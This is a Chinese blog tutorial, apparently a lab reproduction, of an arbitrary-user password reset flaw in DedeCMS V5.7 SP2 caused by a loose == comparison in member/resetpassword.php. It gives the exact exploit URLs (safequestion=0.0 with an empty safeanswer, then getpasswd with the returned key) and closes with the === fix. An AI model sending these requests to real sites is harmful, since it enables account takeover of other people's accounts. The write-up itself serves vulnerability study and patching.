漏洞复现--织梦CMS_V5.7任意用户密码重置漏洞

声明:请勿将文章内的相关技术用于非法目的,如有相关非法行为与文章作者和本公众号无关。请遵守《中华人民共和国网络安全法》。

一.漏洞简介

织梦内容管理系统(DeDeCMS)以其简单、实用、开源的特点而著名。作为国内最知名的PHP开源网站管理系统,它在多年的发展中取得了显著进步,无论在功能还是易用性方面都有长足的发展。该系统广泛应用于中小型企业门户网站、个人网站、企业和学习网站建设。在中国,DedeCMS被认为是最受欢迎的CMS系统之一。但是,最近发现该系统的一个漏洞位于member/resetpassword.php文件中。由于未对接收的参数safeanswer进行严格的类型判断,攻击者可以利用弱类型比较来绕过安全措施。

二.漏洞原理

DeDecms V5.7SP2正式版存在一个未修复的漏洞,允许任意用户密码重置。漏洞位于member/resetpassword.php文件中,因未对传入的参数safeanswer进行严格类型检查,导致可使用弱类型比较绕过。在代码分析中,当dopost等于safequestion时,通过传入的dopost等于safequestion时,通过传入的dopost等于safequestion时,通过传入的mid查询用户信息,判断安全问题和答案是否匹配。由于使用 == 而不是 ===,可绕过判断。当安全问题值为0,答案值为空,经过弱类型处理后仍可通过判断。

三.使用工具

Burp Suite,PHPStudyPro,VMware

四.靶场搭建

织梦CMS V5.7PS2靶场蓝奏云下载:https://wwti.lanzouj.com/iQirO15gp8fg

将解压好的靶场放在PHPStudy的WWW目录下

在这里插入图片描述

访问http://ip/DedeCMS-V5.7-UTF8-SP2/uploads/进行安装(直接继续)

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

进入管理界面进行配置

在这里插入图片描述
在这里插入图片描述

五.漏洞复现

首先注册两个测试账号,以用户名作为密码

在这里插入图片描述
在这里插入图片描述

直接使用浏览器访问payload(http://ip/DedeCMS-V5.7-UTF8-SP2/uploads/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=3)并抓包获取id=3的账号的key(账号:HengMengTest)

在这里插入图片描述

获得key后再访问http://ip/DedeCMS-V5.7-UTF8-SP2/uploads/member/resetpassword.php?dopost=getpasswd&id=3&key=x1ZAUMPg会直接跳转到修改密码界面

在这里插入图片描述
在这里插入图片描述

将密码修改为HengMeng(与账号HengMeng密码一致)修改成功

在这里插入图片描述

密码修改成成功,漏洞复现完成

在这里插入图片描述

六.防御策略

针对上面 DeDecms任意用户密码重置 漏洞,我们只需要使用 === 来代替 == 就行了。因为 === 操作会同时判断左右两边的值和数据类型是否相等,若有一个不等,即返回 false 。具体修复代码如下:

在这里插入图片描述
咱们小屋,喜欢您来:D
在这里插入图片描述

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值